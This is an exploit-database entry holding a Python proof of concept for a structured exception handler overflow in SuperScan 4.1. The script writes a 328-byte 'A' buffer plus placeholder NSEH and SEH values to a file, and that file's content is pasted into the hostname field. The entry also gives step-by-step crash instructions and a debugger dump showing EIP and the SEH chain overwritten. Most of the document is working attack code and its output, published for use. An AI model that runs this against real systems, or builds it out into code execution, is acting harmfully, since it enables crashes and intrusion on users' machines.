SuperScan 4.1 - Windows Enumeration Hostname/IP/URL Field SEH Overflow Exploit

2015-11-20T00:00:00
ID 1337DAY-ID-24587
Type zdt
Reporter Luis Martínez
Modified 2015-11-20T00:00:00

Description

Exploit for windows platform in category dos / poc

                                        
                                            #!/usr/bin/env python
# -*- coding: utf-8 -*-
# Exploit Title     : SuperScan 4.1 Windows Enumeration Hostname/IP/URL Field SEH Overflow Crash PoC
# Discovery by      : Luis Martínez
# Email         : [email protected]
# Discovery Date    : 18/11/2015
# Vendor Homepage   : http://www.foundstone.com
# Software Link     : http://www.mcafee.com/us/downloads/free-tools/superscan.aspx
# Tested Version    : 4.1
# Vulnerability Type    : Denial of Service (DoS) Local
# Tested on OS      : Windows XP Professional SP3 x86 es
# Steps to Produce the Crash: 
# 1.- Run python code : python super_scan_4.1_windows_enumeration.py
# 2.- Open super_scan_4.1_windows_enumeration.txt and copy content to clipboard
# 3.- Open SuperScan4.1.exe
# 4.- Paste Clipboard Windows Enumeration > Hostname/IP/URL
# 5.- Clic on button -> Enumerate
# 6.- Crashed
##########################################################################################
#  -----------------------------------NOTES----------------------------------------------#
##########################################################################################
# After the execution of POC, the SEH chain looks like this: 
# 00E3FF98 43434343
# 42424242 *** CORRUPT ENTRY ***
   
# And the Stack
   
#00E3FF88   41414141  AAAA
#00E3FF8C   41414141  AAAA
#00E3FF90   41414141  AAAA
#00E3FF94   41414141  AAAA
#00E3FF98   42424242  BBBB  Pointer to next SEH record
#00E3FF9C   43434343  CCCC  SE handler
 
# And the Registers
   
#EAX 00000001
#ECX 00000001
#EDX 7C91E514 ntdll.KiFastSystemCallRet
#EBX 00A028E8
#ESP 00E3FF58 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC"
#EBP 41414141
#ESI 00473774 SuperSca.00473774
#EDI 00000000
#EIP 41414141
 
buffer = "\x41" * 328
nseh = "\x42" * 4
seh = "\x43" * 4
 
f = open ("super_scan_4.1_windows_enumeration.txt", "w")
f.write(buffer + nseh + seh)
f.close()

#  0day.today [2018-02-09]  #